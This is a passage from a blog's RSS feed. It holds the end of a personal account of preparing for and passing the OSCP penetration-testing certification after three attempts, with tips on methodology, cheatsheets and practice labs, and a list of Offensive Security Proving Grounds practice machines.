Skill</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://azeria-labs.com/favicon.ico" alt="My OSCP Journey"><span class="kg-bookmark-author">Azeria-Labs</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://azeria-labs.com/promo.png" alt="My OSCP Journey"></div></a></figure><p>The article talks at great lengths about the ins and outs of mastering your craft and how to approach the process of learning a new skill from scratch.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/practice.-Fully-focus-en-your-task-.png" class="kg-image" alt="My OSCP Journey" loading="lazy" width="780" height="489" srcset="https://walu.la/content/images/size/w600/2022/09/practice.-Fully-focus-en-your-task-.png 600w, https://walu.la/content/images/2022/09/practice.-Fully-focus-en-your-task-.png 780w" sizes="(min-width: 720px) 720px"></figure><p>In retrospect, after achieving both the OSCP and eCPPTv2, I couldn&#x2019;t agree more. This stuff is gold so make sure to give it a nice read.</p><h3 id="the-methodology-cheatsheet">The Methodology &amp; Cheatsheet</h3><p>Remember to Try Harder but most importantly TRY SMARTER! And the best way to do things in a smart way is to follow a good methodology.</p><p>After countless failures and re-iterations, I found that what worked for me best is having a dedicated checklist and a methodology mindmap (I use XMind): <a href="https://www.xmind.app/?ref=walu.la">https://www.xmind.app</a></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/09/Start-1.png" class="kg-image" alt="My OSCP Journey" loading="lazy" width="2000" height="1099" srcset="https://walu.la/content/images/size/w600/2022/09/Start-1.png 600w, https://walu.la/content/images/size/w1000/2022/09/Start-1.png 1000w, https://walu.la/content/images/size/w1600/2022/09/Start-1.png 1600w, https://walu.la/content/images/2022/09/Start-1.png 2000w" sizes="(min-width: 720px) 720px"><figcaption>My actual methodology that i used for the exam</figcaption></figure><p>At the same time you&apos;ll need a personalized cheatsheet with all your commands and tricks. This is going to be your arsenal! Making a good cheatsheet, at least for me, was not easy, it took me a while to figure out what was important and what was unnecessary.</p><p>As an example, most of the theory can be looked up online, having a messy cheat sheet with lots of text is not useful. Here&#x2019;s the difference between my first and last cheatsheet:</p><p><strong>My first &quot;Cheatsheet&quot;</strong></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/09/image-5.png" class="kg-image" alt="My OSCP Journey" loading="lazy" width="1374" height="837" srcset="https://walu.la/content/images/size/w600/2022/09/image-5.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-5.png 1000w, https://walu.la/content/images/2022/09/image-5.png 1374w" sizes="(min-width: 720px) 720px"><figcaption>Commands were part of screenshots, too much text, not well organized [OneNote]</figcaption></figure><p><strong>My winning Cheatsheet</strong></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/09/image-2.png" class="kg-image" alt="My OSCP Journey" loading="lazy" width="1972" height="959" srcset="https://walu.la/content/images/size/w600/2022/09/image-2.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-2.png 1000w, https://walu.la/content/images/size/w1600/2022/09/image-2.png 1600w, https://walu.la/content/images/2022/09/image-2.png 1972w" sizes="(min-width: 720px) 720px"><figcaption>Better organized, commands oriented, with external links. Quality over quantity. [Obsidian]</figcaption></figure><p>Consider using Markdown to write your notes, it&apos;s easy to write but very powerful, pair markdown with software like <a href="https://obsidian.md/download?ref=walu.la">Obsidian</a> and unlock its full potential.</p><p>Some external resources on the topic:</p><ul><li><a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-methodology?ref=walu.la">https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-methodology</a></li><li>The <a href="https://youtube.com/c/c0nd4?ref=walu.la">cond4 youtube channel</a> has many videos dedicated to taking notes and reporting</li><li>My <a href="https://github.com/walterone/Hacking-Cheatsheet?ref=walu.la">Hacking Cheatsheet</a>, I&apos;ll try to keep it as updated as possible. Unfortunately it&apos;s a bit hard to read since it&apos;s half in Italian and half in English</li></ul><p>There are multiple guides online on how to build a better methodology. I suggest you take inspiration from some online resources to build your own. Don&apos;t forget to be thorough in following your schemes, DO NOT skip steps and try to stick to what you wrote as much as possible.</p><h3 id="using-solutions-writeups">Using Solutions &amp; Writeups</h3><p>Contrary to what some people think (especially my old boss) solutions and writeups are incredibly useful when learning.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/Types-of-Headaches.png" class="kg-image" alt="My OSCP Journey" loading="lazy" width="466" height="510"></figure><p>Proving to yourself that you can do something is important but wasting days at a week bashing your head against the keyboard is neither useful nor fun. At the same time, you shouldn&apos;t give up and always apply the &quot;Try Harder&quot; mindset. The question comes naturally: How am I supposed to do this without going crazy?<br>The answer is once again: A good Methodology.</p><p>It&apos;s very easy to get frustrated and lie to yourself that &quot;you tried everything&quot; when most of the time you are missing something so insignificant that probably already passed your mind. This is not great since it&apos;s very time-consuming, not to mention very frustrating.</p><p>I solved this problem with a checklist, built out of experience, to follow step by step every time you&apos;re hacking. This is an invaluable tool in your arsenal. Now, once you have exhausted your methodology, I would take a glimpse at the write-up to get unstuck. When you learn something new, stop what you&apos;re doing and write it down on your cheatsheet. Don&apos;t skip this step otherwise you&apos;ll find yourself repeating the same errors over and over again. This is to me the best way to learn while practicing.</p><h3 id="practicing-materials">Practicing Materials:</h3><ul><li><a href="https://www.offensive-security.com/pwk-oscp/?ref=walu.la#pwk-price">OffSec PWK Lab:</a> as stated previously I would suggest using the lab only when doing the 24 Hours exam simulations</li><li><a href="https://www.offensive-security.com/labs/?ref=walu.la">OffSec Proving Grounds</a> [Practice Edition]: the best resource IMO, for a list of practice boxes check out <a href="https://walu.la/offsecs-proving-ground/">my article</a>. I suggest you pay for the &quot;Practice&quot; section.</li><li><a href="https://www.hackthebox.com/?ref=walu.la">Hack The Box:</a> Whilst great practice, I found the boxes in Proving Grounds to be better practice for the exam, HTB has a lot of focus on CTF-like boxes. If you chose to use HTB I would also use a list of boxes such as the <a href="https://pbs.twimg.com/media/ECG-gPnW4AMs32A.jpg:large?ref=walu.la">TJNull list</a> or <a href="https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation?ref=walu.la">this one</a>.</li><li><a href="https://tryhackme.com/?ref=walu.la">TryHackMe:</a> Great for learning and practicing, I love the fact that no matter the topic THM will always have a step-by-step solution/guide. I found it extremely useful when studying concepts that I found particularly difficult, even the premium subscription is worth it in my opinion. These are the rooms that I would suggest:<br> - <a href="https://tryhackme.com/room/wreath?ref=walu.la">Wreath:</a> a MUST to master Pivoting and Tunneling.<br> - <a href="https://tryhackme.com/room/bufferoverflowprep?ref=walu.la">BOF Prep:</a> A room to refresh the BOF methodology<br> - The Overpass Series [<a href="https://tryhackme.com/room/overpass?ref=walu.la">1</a>, <a href="https://tryhackme.com/room/overpass2hacked?ref=walu.la">2</a>, <a href="https://tryhackme.com/room/overpass3hosting?ref=walu.la">3</a>]: Simple boxes but don&apos;t get too relaxed ;)<br> - <a href="https://tryhackme.com/room/vulnnetinternal?ref=walu.la">VulnNet Internal:</a> Internal network assessment in a Linux environment.<br> - <a href="https://tryhackme.com/network/throwback?ref=walu.la">Throwback</a>: Great network of multiple boxes but keep in mind that this lab is much more difficult than the AD section in the OSCP. If you manage to pwn this you are more than ready.</li><li>Local BOF:<br> - <a href="https://github.com/3isenHeiM/OSCP-BoF?ref=walu.la">https://github.com/3isenHeiM/OSCP-BoF</a><br> - &#xA0;<a href="https://www.vulnhub.com/entry/brainpan-1,51/?ref=walu.la">https://www.vulnhub.com/entry/brainpan-1,51/</a></li></ul><p>In the end, I don&apos;t think there is a &quot;one size fits all&quot; in terms of training. I&apos;d rather mix and match lists and boxes to cover (and practice) the majority of topics.</p><h2 id="my-oscp-exam-attempts">My OSCP Exam Attempts</h2><h3 id="first-attempt-september-2021">First Attempt, September 2021</h3><p>[Old exam format]</p><p><em>&quot;There is no time like the first time&quot;</em></p><p>In this attempt, being the first ever, I didn&apos;t know what to expect other than what was specified in the official documentation. The exam started at 5 AM, I was able to clear the BOF in around an hour and I was only able to gain one additional foothold after 5/6 hours.</p><p>Unfortunately, I got stuck bad and was only able to progress after a few hours. Once understood how to get going, I was able to gain another foothold but I was already behind schedule. The 14th-hour mark had already passed. I drank a ton of caffeine and managed to stay the entire 24h span awake but needless to say, it was not useful.</p><p>In the end, I had around 40 points, a liquefied brain, and very demoralized. I decided to not even submit the report. Looking back at this attempt I realize that i wasn&apos;t ready. But having a clearer understanding of the exam experience revealed to be extremely useful for future attempts.</p><p><br></p><h3 id="second-attempt-april-2022">Second Attempt, April 2022</h3><p>[Updated Exam with AD environment]</p><p><em>&quot;Ah shit, here we go again&quot;</em></p><p>This time I had a much better idea of what I was going to face, of course, i still had some doubts about the active directory section but I felt confident. I was able to clear the BOF (and subsequent privesc) again in around 1 hour. I decided to tackle the AD environment right away but, once again, I got stuck on the foothold for 5/6 hours with no real progress; which drained most of my energy.</p><p>I knew that mathematically I had to compromise the entire AD environment to have a chance of passing the exam. Powering through it felt like the only thing to do. Once I realized that I was overthinking like crazy, I managed to compromise the entire AD environment in around one hour.</p><p>At this point, at the 14th-hour mark, I had completed the AD environment (40 points) and the BOF (10+10) for a total of 60 points. I was only 10 points short of passing the exam! I was so pumped that I decided to skip sleep to quickly get the missing points but powering through the exam, just like last time, didn&apos;t work...</p><p>In the end I was really demoralized, I didn&apos;t have the lab report ready to submit so I couldn&apos;t even rely on the bonus points. I ended the exam missing those 10 points, again pretty demoralized. I quickly threw together the exam report but I knew it didn&apos;t matter at that point. Another Failure.</p><p><br></p><h3 id="third-attempt-july-2022">Third attempt, July 2022</h3><p><em>&quot;Third time&apos;s the charm, right?... &#xA0;Right??&quot;</em></p><p>During the cooldown months imposed by Offensive Security, I stepped up my game by finally fixing the cheatsheet and improving the quality of my time spent practicing. I completed <a href="https://walu.la/offsecs-proving-ground/">my Proving Grounds List</a> and most of the <a href="https://pbs.twimg.com/media/ECG-gPnW4AMs32A.jpg:large?ref=walu.la">TjNull HTB List.</a></p><p>During the last weeks before the exam, I felt so confident that I decided to test my preparation with the eCPPTv2 certification from eLearnSecurity.In less than a week i submitted my report and earned the eCPPTv2, all of this only 2 weeks before my actual OSCP (a story for another time). At this point, I knew i was ready.</p><p>The days prior to the exam i decided to refresh my BOF methodology and review some AD theory. I also toned down the practicing since I didn&apos;t want to get burnt out before the big day. The exam started on the 16th of July at 11:00 AM.</p><p>I decided to go with the BOF as my first target, as usual, it took a little over one hour to get the exploit working and a bit more to root it. At this point I decided to go with a standalone box which I cleared (local + root) in around one hour. Honestly I wasn&apos;t expecting it to go this smoothly, after a bit less than 3 hours I had already secured 40 points.</p><p>After a break I focused exclusively on the AD environment; I managed to not get blocked in a pesky rabbit hole and quickly found the way around the first foothold in roughly one hour. The rest of the AD went so quickly that I had to force myself to stop and take notes/screenshots for the report. At around 5 PM i submitted the domain flag for the AD environment. At this point, 6 hours had passed and I had already 80 points.</p><p>I took a long break where I eat dinner, took a shower, and relaxed a bit. This was well needed. After it, I managed to find the final foothold in around 1 hour and got root in another hour. At this point it was done, I was able to clear the OSCP exam in less than 10 hours without Metasploit.</p><h2 id="conclusions">Conclusions</h2><p>As I said at the beginning, try to see this journey as a marathon and not as a sprint. Anything rushed is not worth it so take your time and try smarter!</p><h3 id="preparation-tips">Preparation Tips</h3><ul><li>Studying is important but practicing is fundamental.</li><li>Finish what you started, don&apos;t do multiple boxes at once.</li><li>Keep the practice fun, mix up things a bit if it becomes frustrating. It&apos;s easy to get burned out.</li><li>Try SMARTER, focus on your methodology.</li><li>Practice Practice and Practice I can&apos;t stress this enough! The more you hack the better the chances of passing the exam.</li><li>Once you have built some confidence test yourself on the PWK labs with multiple simulated 24h exam.</li></ul><h3 id="exam-tips">Exam Tips:</h3><ul><li>SLEEP! No matter how bad you feel the exam is going, powering through it will only lead to more frustration. Your brain needs to rest, whether you like it or not.</li><li>Even if it sounds weird, it&apos;s important to keep yourself &quot;pumped up&quot; for the duration of the exam. Go after easier boxes if you&apos;re starting to get tired. Frustration is a bad co-pilot in this ride.</li><li>During the exam you have multiple reverts, make sure to use them if something doesn&apos;t feel right.</li><li>Don&apos;t be afraid of taking long breaks during the exam, just don&apos;t get too relaxed ;)</li><li>Again, remember to eat and sleep! Don&apos;t power thro</li></ul><p>I hope that you found this article useful or interesting, I had a lot of fun writing it. If you have any questions feel <a href="https://walu.la/about/">free to reach me.</a></p><p><br></p><p><br></p>]]></content:encoded></item><item><title><![CDATA[Proving Grounds preparation boxes for OSCP]]></title><description><![CDATA[<p>Here&apos;s a quick list of boxes in the Offensive Security Proving Ground platform thaat i used to prepare for the OSCP exam. These are from the &quot;Practice&quot; section so a premium subscription is required, in alternative you could try to find these boxes on websites like</p>]]></description><link>https://walu.la/offsecs-proving-ground-2/</link><guid isPermaLink="false">6457a67d35b7a21f0717a3dd</guid><dc:creator><![CDATA[Walula]]></dc:creator><pubDate>Mon, 05 Sep 2022 16:01:45 GMT</pubDate><media:content url="https://walu.la/content/images/2022/09/proving-grounds-control-panel.png" medium="image"/><content:encoded><![CDATA[<img src="https://walu.la/content/images/2022/09/proving-grounds-control-panel.png" alt="Proving Grounds preparation boxes for OSCP"><p>Here&apos;s a quick list of boxes in the Offensive Security Proving Ground platform thaat i used to prepare for the OSCP exam. These are from the &quot;Practice&quot; section so a premium subscription is required, in alternative you could try to find these boxes on websites like VulnHub (<a href="https://www.vulnhub.com/?ref=walu.la">https://www.vulnhub.com</a>).</p><p>I&apos;ll try to update this list as often as i can, feel free to suggest some more.</p><p>I don&apos;t remember from where i got the original list that i have since modified, if you happen to know i&apos;ll add some credits here.</p><h2 id="linux"><br>Linux</h2><ul><li>ClamAV</li><li>Wombo</li><li>Fail</li><li>Nibbles</li><li>Banzai</li><li>Hunit</li><li>Dibble</li><li>Zino</li><li>Hetemit</li><li>Peppo</li><li>Postfish</li><li>Malbec</li><li>Sybaris</li><li>Fail</li><li>ZenPhoto</li><li>Readys</li><li>Nukem</li><li>Walla</li><li>Pelican</li><li>Snookums</li></ul><p><strong>Retired or removed</strong></p><ul><li>Sorcerer</li><li>Hawat</li><li>Payday</li></ul><p></p><h2 id="windows">Windows:</h2><ul><li>Nickel</li><li>Slort</li><li>Authby</li><li>Jacko</li><li>MeatHead</li><li>UT99</li><li>MedJed</li><li>Algeron</li><li>Billyboss</li><li>Hutch</li><li>Heist</li><li>Vault</li><li>Shenzi</li><li>DVR4</li><li>Craft</li></ul><p><strong>Retired or removed</strong></p><ul><li>Hepet</li><li>Butch</li><li>Kevin</li><li>Metallus</li></ul>]]></content:encoded></item></channel></rss>